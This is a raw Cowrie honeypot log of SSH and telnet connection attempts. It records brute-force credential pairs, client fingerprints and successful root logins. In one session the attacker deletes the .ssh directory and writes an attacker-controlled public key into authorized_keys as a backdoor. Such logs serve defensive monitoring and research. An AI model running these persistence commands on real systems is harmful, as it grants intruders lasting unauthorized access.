fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:57:08.620337Z","src_ip":"171.243.151.30","session":"7f09e020b0a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:57:09.424837Z","src_ip":"171.243.151.30","session":"7f09e020b0a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:57:10.683559Z","src_ip":"171.243.151.30","session":"7f09e020b0a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":43749,"dst_ip":"10.17.0.5","dst_port":23,"session":"4655a556b6dd","protocol":"telnet","message":"New connection: 49.88.156.34:43749 (10.17.0.5:23) [session: 4655a556b6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:57:45.024608Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.168.124.0","src_port":49986,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ca2df9e5a4","protocol":"ssh","message":"New connection: 20.168.124.0:49986 (159.203.135.109:22) [session: 84ca2df9e5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:14.368400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:14.373094Z","src_ip":"20.168.124.0","session":"84ca2df9e5a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:14.444355Z","src_ip":"20.168.124.0","session":"84ca2df9e5a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.168.124.0","src_port":49988,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b4d36a19dd9","protocol":"ssh","message":"New connection: 20.168.124.0:49988 (159.203.135.109:22) [session: 8b4d36a19dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:14.572690Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:14.577816Z","src_ip":"20.168.124.0","session":"8b4d36a19dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:14.581628Z","src_ip":"20.168.124.0","session":"8b4d36a19dd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:24.369767Z","src_ip":"20.168.124.0","session":"84ca2df9e5a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.51788544654846,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:25.542390Z","src_ip":"49.88.156.34","session":"4655a556b6dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":23267,"dst_ip":"10.17.0.5","dst_port":22,"session":"714e4f109de6","protocol":"ssh","message":"New connection: 2.57.121.112:23267 (10.17.0.5:22) [session: 714e4f109de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:33.639474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:33.643847Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:33.747568Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03011977","message":"login attempt [admin/03011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:34.235470Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03011972","message":"login attempt [admin/03011972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:35.343042Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"021284","message":"login attempt [admin/021284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:36.450320Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"021191","message":"login attempt [admin/021191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:37.557842Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02101995","message":"login attempt [admin/02101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:38.666169Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:39.776376Z","src_ip":"2.57.121.112","session":"714e4f109de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.115","src_port":44466,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fd866498180","protocol":"ssh","message":"New connection: 217.154.192.115:44466 (159.203.135.109:22) [session: 2fd866498180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:59.728382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:59.732780Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:58:59.826059Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"tingting","message":"login attempt [root/tingting] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.234379Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.462894Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.466276Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.468979Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.573767Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.797584Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.801170Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.899230Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.903202Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.115","src_port":44482,"dst_ip":"159.203.135.109","dst_port":22,"session":"0176124e8fb5","protocol":"ssh","message":"New connection: 217.154.192.115:44482 (159.203.135.109:22) [session: 0176124e8fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.991001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:00.995829Z","src_ip":"217.154.192.115","session":"0176124e8fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:01.089881Z","src_ip":"217.154.192.115","session":"0176124e8fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:01.498515Z","src_ip":"217.154.192.115","session":"0176124e8fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:02.596127Z","src_ip":"217.154.192.115","session":"0176124e8fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.115","src_port":44490,"dst_ip":"159.203.135.109","dst_port":22,"session":"269c9f099687","protocol":"ssh","message":"New connection: 217.154.192.115:44490 (159.203.135.109:22) [session: 269c9f099687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:02.682883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:02.687983Z","src_ip":"217.154.192.115","session":"269c9f099687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:02.784087Z","src_ip":"217.154.192.115","session":"269c9f099687","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:03.184286Z","src_ip":"217.154.192.115","session":"269c9f099687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:03.279670Z","src_ip":"217.154.192.115","session":"269c9f099687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:03.284538Z","src_ip":"217.154.192.115","session":"2fd866498180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":45018,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c59d7767fd","protocol":"ssh","message":"New connection: 14.225.2.125:45018 (159.203.135.109:22) [session: f0c59d7767fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:32.442602Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:32.706698Z","src_ip":"14.225.2.125","session":"f0c59d7767fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":45030,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e297dbb84e0","protocol":"ssh","message":"New connection: 14.225.2.125:45030 (159.203.135.109:22) [session: 5e297dbb84e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:32.960224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:32.965957Z","src_ip":"14.225.2.125","session":"5e297dbb84e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:59:33.221781Z","src_ip":"14.225.2.125","session":"5e297dbb84e0","protocol":"ssh"}
